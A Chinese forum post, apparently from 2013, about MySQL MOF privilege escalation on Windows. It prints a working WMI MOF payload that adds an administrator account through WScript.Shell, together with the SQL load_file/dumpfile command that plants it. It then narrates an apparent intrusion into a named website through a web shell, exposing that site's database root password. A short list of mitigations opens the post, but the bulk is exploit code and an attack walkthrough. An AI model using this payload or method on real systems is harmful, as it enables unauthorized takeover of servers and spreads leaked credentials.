找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2370|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法* d/ G1 \% `2 e+ L5 o! P# O- f& a
' ~$ y* C6 T$ U  `8 {% g! S! p
网上公开的一些利用代码:, i, t2 w  W" K8 O+ G) |
0 J7 k2 F" y# V& G8 a
#pragma namespace(“\\\\.\\root\\subscription”)5 h: U9 b& Y& I7 c6 z8 T3 g

" _+ K" w9 _7 x3 dinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };' F/ M, ~4 o( |7 ~6 ]$ G
3 C' a  L) \* A5 o) [
/ C" J% d+ \, k* Y/ H: H2 n  z

- K# z  {) Q& N* g) O5 ?
$ s; H( N0 @, u# ~  u& Y
$ G" j1 _( o/ b& C连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;+ s# b& a! g. X; \
从上面代码来看得出解决办法:9 t6 C6 ?# T6 _7 j9 \9 u8 `. d

3 S* @6 p+ Z. S# B" C1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
, n" E; P1 E8 f0 I: }6 C- Z
' a1 B  H$ f1 K, i: {. ^8 N2、禁止使用”WScript.Shel”组件
# ~! A$ |. t; U5 v7 x: t) ]0 S" h0 f0 O" K& P- x
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
3 f+ b' h# S! M4 x- }& |: F# c
( h$ t4 W) M$ T4 t当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
3 K# I  ?5 P; j/ O9 X
, k8 j2 C/ h3 E, S6 o事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
, T) C$ M) n% P% ^7 ]0 F% T' e
  y/ X( Q3 C& D4 g但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
# Y) p# x$ G" F$ o& \7 b' B6 P# L$ w; R! V* v5 M
看懂了后就开始练手吧- p% M+ M& B- M( O" ^/ m: o% n

# r! \- x& P/ Y9 g9 {) x4 t. thttp://www.webbmw.com/config/config_ucenter.php 一句话 a
5 d6 f' n; m. K/ o! G
1 g9 t/ d/ B# W( |1 y" e$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。- N# P0 {8 n# H' a6 A4 O9 G
' _& g# \5 f9 e$ l  J! u
于是直接用菜刀开搞
* m: E! a4 J% R* D5 ?, ]: T- J- h6 }# U& W
上马先6 J) ^  X+ I, [! z: z

% u- N0 D+ n% V% |% g8 {既然有了那些账号 之类的 于是我们就执行吧…….$ m9 N8 M+ H; e: ~8 y3 T2 W- i' j: q

) j3 v( E  S9 A( J# H. T小小的说下
) |7 b: g4 U& k2 M: r& A, w2 F8 e) J1 T9 p9 W
在这里第1次执行未成功        原因未知
& K: r4 M& N/ N8 A9 o7 a$ ~6 a% z# P  j. ]$ l9 y2 E, L
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
/ o) y2 z# o1 f8 z: M* W# d4 X1 Z* \. x1 X2 V
#pragma namespace(“\\\\.\\root\\subscription”)
- a! Q7 W1 _; S* L5 y
7 E1 E4 ?) W  U$ B& ]' ginstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
% y! i+ K% z% p6 a+ P+ W! m" g5 k! K; N; K6 o0 H
我是将文件放到C:\WINDOWS\temp\1.mof, [/ {' l. W4 B4 m5 v  H0 Z' Q
( T0 A7 h. L" {$ {  j& e! w, {
所以我们就改下执行的代码
* G$ n" n6 e) n+ H3 S- W6 i4 [3 t0 ^4 E
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
  s" W5 W5 C% N6 g9 t3 V
+ i" X. \5 D9 v* t. @8 P) p& h2 `9 E- I, E6 o3 M4 J: n$ g

% ^$ \. L  d7 u, _2 t& T3 {但是 你会发现账号还是没有躺在那里。。
6 F5 e5 N4 l0 ]# L) D# w5 z
2 {( j8 F) t) g& ^( _% ]/ l$ t于是我就感觉蛋疼, V3 e5 D0 A2 K+ P2 u" q
0 t( k* S8 G2 _3 q2 b, v5 ^
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
! L* p: ^9 [5 C% b% T9 c
' G4 E$ c0 j: e: v* |0 f# p9 z; [0 N$ S9 `. d

: Y. c. E- K5 D; v1 u$ A* O但是其他库均不成功…
+ J/ y% H" \" O2 E2 t
+ z) \( U) [; W6 E我就很费解呀 到底为什么不成功求大牛解答…# x) o9 ]5 y3 D
1 W6 [4 i' c; i

1 M" M7 N: ^4 f7 L# Y- d  u& i9 u( X0 x! K( ?( D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表